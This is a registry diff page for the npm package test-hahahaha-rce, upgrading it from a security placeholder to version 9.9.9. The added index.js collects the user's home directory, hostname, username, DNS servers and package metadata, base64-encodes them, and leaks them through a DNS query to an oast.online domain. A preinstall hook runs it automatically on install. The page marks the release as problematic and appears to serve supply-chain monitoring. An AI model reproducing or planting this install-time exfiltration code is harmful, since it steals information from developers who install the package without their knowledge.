test-hahahaha-rce 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of test-hahahaha-rce might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const packageJSON = require("./package.json");
|
|
4
|
+
const packageName = packageJSON.name;
|
|
5
|
+
|
|
6
|
+
// Construct tracking data
|
|
7
|
+
const trackingData = JSON.stringify({
|
|
8
|
+
p: packageName,
|
|
9
|
+
c: __dirname,
|
|
10
|
+
hd: os.homedir(),
|
|
11
|
+
hn: os.hostname(),
|
|
12
|
+
un: os.userInfo().username,
|
|
13
|
+
dns: dns.getServers(),
|
|
14
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
15
|
+
v: packageJSON.version,
|
|
16
|
+
pjson: packageJSON,
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
// Encode data as a base64 string to avoid special characters in DNS queries
|
|
20
|
+
const encodedData = Buffer.from(trackingData).toString("base64");
|
|
21
|
+
|
|
22
|
+
// Construct the subdomain with encoded data
|
|
23
|
+
const trackingDomain = `${encodedData}.cup6rk0resr9813m24j0n7pwums3qd8ie.oast.online`;
|
|
24
|
+
|
|
25
|
+
// Perform a DNS resolution query (TXT record)
|
|
26
|
+
dns.resolveTxt(trackingDomain, (err, addresses) => {
|
|
27
|
+
if (err) {
|
|
28
|
+
// Handle the error silently
|
|
29
|
+
} else {
|
|
30
|
+
console.log("DNS query response:", addresses);
|
|
31
|
+
}
|
|
32
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "test-hahahaha-rce",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "9.9.9",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"directories": {
|
|
7
|
+
"test": "test"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
11
|
+
"preinstall":"node index.js"
|
|
12
|
+
},
|
|
13
|
+
"author": "",
|
|
14
|
+
"license": "ISC"
|
|
6
15
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=test-hahahaha-rce for more information.
|